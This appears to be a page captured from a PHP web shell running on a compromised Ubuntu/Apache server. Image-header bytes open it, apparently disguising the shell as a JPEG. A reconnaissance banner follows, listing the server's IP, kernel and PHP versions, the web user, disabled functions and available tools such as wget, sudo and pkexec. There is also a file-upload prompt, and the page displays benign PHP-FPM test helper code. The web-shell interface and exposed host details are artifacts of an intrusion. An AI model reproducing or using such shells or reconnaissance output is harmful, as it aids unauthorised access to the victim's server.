????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.16.42.17 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/sapi/fpm/tests/ |
Upload File : |
<?php function get_fpm_path() /* {{{ */ { $php_path = getenv("TEST_PHP_EXECUTABLE"); for ($i = 0; $i < 2; $i++) { $slash_pos = strrpos($php_path, "/"); if ($slash_pos) { $php_path = substr($php_path, 0, $slash_pos); } else { return false; } } if ($php_path && is_dir($php_path) && file_exists($php_path."/fpm/php-fpm") && is_executable($php_path."/fpm/php-fpm")) { /* gotcha */ return $php_path."/fpm/php-fpm"; } return false; } /* }}} */ function run_fpm($config, &$out = false, $extra_args = '') /* {{{ */ { $cfg = dirname(__FILE__).'/test-fpm-config.tmp'; file_put_contents($cfg, $config); $desc = []; if ($out !== false) { $desc = [1 => array('pipe', 'w')]; } /* Since it's not possible to spawn a process under linux without using a * shell in php (why?!?) we need a little shell trickery, so that we can * actually kill php-fpm */ $fpm = proc_open('killit () { kill $child; }; trap killit TERM; '.get_fpm_path().' -F -O -y '.$cfg.' '.$extra_args.' 2>&1 & child=$!; wait', $desc, $pipes); register_shutdown_function( function($fpm) use($cfg) { @unlink($cfg); if (is_resource($fpm)) { @proc_terminate($fpm); while (proc_get_status($fpm)['running']) { usleep(10000); } } }, $fpm ); if ($out !== false) { $out = $pipes[1]; } return $fpm; } /* }}} */ function run_fpm_till($needle, $config, $max = 10) /* {{{ */ { $i = 0; $fpm = run_fpm($config, $tail); if (is_resource($fpm)) { while($i < $max) { $i++; $line = fgets($tail); if(preg_match($needle, $line) === 1) { break; } } if ($i >= $max) { $line = false; } proc_terminate($fpm); stream_get_contents($tail); fclose($tail); proc_close($fpm); } return $line; } /* }}} */ function fpm_display_log($tail, $n=1, $ignore='systemd') { while ($n) { $a = fgets($tail); if (empty($ignore) || !strpos($a, $ignore)) { echo $a; $n--; } } } function run_request($host, $port, $uri='/ping', $query='') { require_once 'fcgi.inc'; $client = new Adoy\FastCGI\Client($host, $port); $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'GET', 'SCRIPT_FILENAME' => $uri, 'SCRIPT_NAME' => $uri, 'QUERY_STRING' => $query, 'REQUEST_URI' => $uri . ($query ? '?'.$query : ""), 'DOCUMENT_URI' => $uri, 'SERVER_SOFTWARE' => 'php/fcgiclient', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => php_uname('n'), 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_TYPE' => '', 'CONTENT_LENGTH' => 0 ); return $client->request($params, false)."\n"; }